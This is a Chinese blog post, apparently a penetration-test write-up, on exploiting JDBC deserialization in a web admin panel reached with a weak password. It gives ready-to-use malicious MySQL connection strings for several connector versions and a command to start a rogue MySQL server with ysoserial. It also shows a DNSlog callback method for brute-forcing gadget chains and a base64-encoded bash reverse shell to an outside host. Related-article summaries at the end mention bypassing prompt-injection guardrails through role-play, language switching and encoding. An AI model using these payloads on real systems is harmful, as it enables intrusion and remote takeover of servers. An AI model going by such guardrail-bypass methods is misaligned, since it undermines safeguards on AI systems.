JDBC反序列化实战"

admin 2026-10-20 04:33:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

JDBC反序列化实战

原创

hl666
hl666

安全小子大杂烩

2023年5月21日 18:03
浙江

在小说阅读器读本章

去阅读

前言:

项目中遇到一个JDBC反序列化的点,和同学交流之后也是拿下了这个点,记录一下也是对这个加深一下印象。

至于什么是JDBC反序列化可以自行去了解,该文章只是提供一下打的思路。

特征点:

获取一个弱口令进入后台:

看到了一个连接数据库的一个功能点,像实战中这种功能点都可以去尝试一下这个反序列化。

image-20230521132057311

当时只知道可能会存在JDBC反序列化这么一个漏洞,但是自己没怎么打过,向同学了解之后,简单总结一下过程。

过程:

需要工具:

https://github.com/dushixiang/evil-mysql-server
https://github.com/frohoff/ysoserial

服务端启动恶意mysql:

参考:

https://github.com/dushixiang/evil-mysql-server/blob/master/README-zh\_CN.md

./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar

确定mysql版本:

常用的payload如下:

5.1.11-5.x

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_calc.exe

6.x

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_calc.exe

8.x

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_calc.exe

这里解释一下username什么意思:

如图解释:yso\_CommonsCollections1\_calc.exe是选择CommonsCollections1这条链执行calc命令

image-20230521173325620

这里随便选择一个payload打过去:注意这里username单独写,密码随意。

image-20230521133627898

image-20230521133714618

可以看到mysql版本为8.x,这样就能确定mysql版本了:

寻找反序列化链子:

前面确定mysql版本之后,要确定可打的链子是哪一条,这里同学也是给了一个思路,将ysoserial里面的payload作为一个字典,利用burp爆破,假设cc1可用,那么payload为:yso\_CommonsCollections1\_curl echo CommonsCollections1.objxwd.dnslog.cn,这样dnslog.cn就会回显CommonsCollections1字段,利用该思想对该链子进行爆破:

image-20230521134244516

如图,选择该处的两个位置同时进行爆破,将ysoserial的链子作为字典:

image-20230521134349702

最后爆出了可用的链子为cc6:

image-20230521134456566

这样mysql版本确定了,可用链子也确定了,接下来就是构造恶意的payload打过去就行了:

反弹shell:

假设反弹地址为1.1.1.1:1234

反弹命令为:/bin/sh -i >& /dev/tcp/1.1.1.1/1234 0>&1

连接字符串:

jdbc:mysql://ip:端口/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

username:

ysu_CommonsCollections6_bash -c {echo,反弹命令base64编码}|{base64,-d}|{bash,-i}

直接打过去:

image-20230521135050594

这里成功收到会话

总结:

对于可能第一次了解到这个漏洞理解可能比较困难,但是这里也提供了一个可以利用的点,当遇到这种功能点时,至少是能想到有这么一个东西,具体可以自行去了解,了解完之后在理解这篇文章就很容易了,思路过程写的也很清晰,照着这个过程来就行了。


JDBC反序列化实战" 网络安全文章

JDBC反序列化实战"

本文详细介绍了JDBC反序列化漏洞的实战利用过程。作者通过弱口令进入后台,发现数据库连接功能点,利用evil-mysql-server和ysoserial工具,根据MySQL版本选择对应payload,并通过DNSlog爆破确定可用反序列化链为CommonsCollections6,最终成功实现反弹shell。文章提供了清晰的步骤和命令示例,为安全测试人员提供了可操作的技术参考。
【AI安全】AI实战漏洞靶场攻防录" 网络安全文章

【AI安全】AI实战漏洞靶场攻防录"

本文记录AI实战漏洞靶场的三个实验。Lab01利用Flask调试接口未关闭导致信息泄露,暴露Chroma向量库和Ollama模型地址等敏感配置。Lab02演示四层提示词注入攻防,涵盖无防护、关键词黑名单、LLM审核护栏及输出过滤的绕过,涉及多语言切换、角色扮演、多轮对话铺垫与编码转换技巧。Lab03针对RAG系统,利用ChromaDB未授权访问实现知识库枚举与恶意数据篡改。文章结合源码剖析各层级防护缺陷与对应攻击思路,具有较强实战参考价值。
【交流】偷拍黑产技术的迭代升级,倒逼反窃密领域道高一丈" 网络安全文章

【交流】偷拍黑产技术的迭代升级,倒逼反窃密领域道高一丈"

本文深入剖析了非法偷拍黑色产业链的技术迭代现状及其对隐私安全构成的新威胁。文章指出,为规避传统检测手段,偷拍设备已从早期的实时无线传输,升级为有线采集定时回传和无源光纤传输等新型技术,这些设备隐蔽性强,导致常规民用探测设备失效。文中系统对比了三代偷拍技术的特点,并强调了专业综合检测手段(如非线性节点探测器、高分辨率红外热成像仪等)在应对新型威胁中的必要性,同时为经营场所和个人提供了相应的隐私防护建议。
评论:0   参与:  0